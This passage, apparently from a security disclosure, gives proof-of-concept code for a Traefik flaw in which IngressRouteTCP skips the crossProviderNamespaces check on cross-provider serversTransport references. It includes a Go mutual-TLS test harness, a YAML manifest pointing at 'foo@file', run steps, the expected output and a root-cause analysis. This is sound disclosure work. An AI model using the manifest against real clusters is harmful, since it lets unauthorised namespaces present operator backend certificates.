Details
require.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM))
listener, err := net.Listen("tcp", "127.0.0.1:0")
require.NoError(t, err)
tlsListener := tls.NewListener(listener, &tls.Config{
Certificates: []tls.Certificate{serverCert},
ClientAuth: tls.RequireAndVerifyClientCert,
ClientCAs: clientPool,
})
peerCN := make(chan string, 1)
done := make(chan error, 1)
go func() {
conn, err := tlsListener.Accept()
if err != nil {
done <- err
return
}
defer conn.Close()
tlsConn, ok := conn.(*tls.Conn)
if !ok {
done <- fmt.Errorf("unexpected connection type %T", conn)
return
}
if err := tlsConn.Handshake(); err != nil {
done <- err
return
}
state := tlsConn.ConnectionState()
if len(state.PeerCertificates) == 0 {
done <- fmt.Errorf("missing peer certificate")
return
}
peerCN <- state.PeerCertificates[0].Subject.CommonName
buf := make([]byte, 4)
if _, err := io.ReadFull(tlsConn, buf); err != nil {
done <- err
return
}
if string(buf) != "ping" {
done <- fmt.Errorf("unexpected backend payload %q", string(buf))
return
}
_, err = tlsConn.Write([]byte("PONG"))
done <- err
}()
return listener.Addr().String(), peerCN, done, func() {
_ = tlsListener.Close()
}
}
type poCPKI struct {
caCertPEM []byte
serverCertPEM []byte
serverKeyPEM []byte
clientCertPEM []byte
clientKeyPEM []byte
}
func newPoCPKI(t *testing.T) poCPKI {
t.Helper()
caKey, err := rsa.GenerateKey(rand.Reader, 2048)
require.NoError(t, err)
caTemplate := &x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: "poc-ca"},
NotBefore: time.Now().Add(-time.Minute),
NotAfter: time.Now().Add(time.Hour),
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageCRLSign,
BasicConstraintsValid: true,
IsCA: true,
}
caDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, &caKey.PublicKey, caKey)
require.NoError(t, err)
serverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "poc-server", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth})
clientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "example.com", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth})
return poCPKI{
caCertPEM: pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER}),
serverCertPEM: serverCertPEM,
serverKeyPEM: serverKeyPEM,
clientCertPEM: clientCertPEM,
clientKeyPEM: clientKeyPEM,
}
}
func newPoCLeafCert(t *testing.T, caTemplate *x509.Certificate, caKey *rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) {
t.Helper()
key, err := rsa.GenerateKey(rand.Reader, 2048)
require.NoError(t, err)
serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
require.NoError(t, err)
template := &x509.Certificate{
SerialNumber: serial,
Subject: pkix.Name{CommonName: cn},
DNSNames: []string{"example.com"},
NotBefore: time.Now().Add(-time.Minute),
NotAfter: time.Now().Add(time.Hour),
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,
ExtKeyUsage: eku,
}
certDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, &key.PublicKey, caKey)
require.NoError(t, err)
keyDER := x509.MarshalPKCS1PrivateKey(key)
return pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}),
pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: keyDER})
}
</details>
<details>
<summary>with_servers_transport_cross_provider_poc.yml</summary>
```yaml
apiVersion: traefik.io/v1alpha1
kind: IngressRouteTCP
metadata:
name: test.route
namespace: default
spec:
entryPoints:
- foo
routes:
- match: HostSNI(`foo.com`)
priority: 12
services:
- name: whoamitcp
port: 8000
tls: true
serversTransport: foo@file
</details>
Requirements
git- Go toolchain compatible with the target Traefik tag.
v3.7.5usesgo 1.25.0. - Network access to clone
https://github.com/traefik/traefik.gitand download Go modules on first run.
No local Traefik checkout is required by default.
Run
./run.sh
Optional target override:
TARGET_REF=v3.6.21 ./run.sh
Optional local-source override for faster local validation:
TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh
Expected Result
The run should end with:
POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=[operator-only] serversTransport="foo@file" backend_tls=true
POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport="foo@file" peer_cn="example.com" response="PONG"
POC_RESULT=PASS
Root Cause
Line numbers below are from:
repository: https://github.com/traefik/traefik
tag: v3.7.5
commit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0
1. The provider option is meant to cover IngressRouteTCP
pkg/provider/kubernetes/crd/kubernetes.go:60
CrossProviderNamespaces []string `description:"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references." ...`
This establishes the security invariant: IngressRouteTCP cross-provider
references should be gated by crossProviderNamespaces.
2. TCP service creation forwards the attacker-controlled transport name
pkg/provider/kubernetes/crd/kubernetes_tcp.go:183-185
if service.ServersTransport != "" {
tcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport)
}
The attacker-controlled serversTransport field is passed into the key builder.
3. TCP key builder returns cross-provider names without the allowlist check
pkg/provider/kubernetes/crd/kubernetes_tcp.go:321-322
if strings.Contains(serversTransportName, providerNamespaceSeparator) {
return serversTransportName, nil
}
This accepts foo@file directly. There is no call toisCrossProviderNamespaceAllowed(...) on this TCP path.
4. HTTP sibling contains the missing authorization gate
pkg/provider/kubernetes/crd/kubernetes_http.go:507-508
if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) {
return "", fmt.Errorf("serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces", ...)
}
The HTTP path proves the intended policy: cross-provider serversTransport
references should be rejected when the route namespace is not in the allowlist.
5. Runtime TCP dialer consumes the exact referenced transport
pkg/tcp/dialer.go:135-141
if config.ServersTransport != "" {
name = config.ServersTransport
}
st, ok := d.serversTransports[name]
pkg/tcp/dialer.go:183-188
tlsConfig = &tls.Config{
ServerName: st.TLS.ServerName,
Certificates: st.TLS.Certificates.GetCertificates(),
}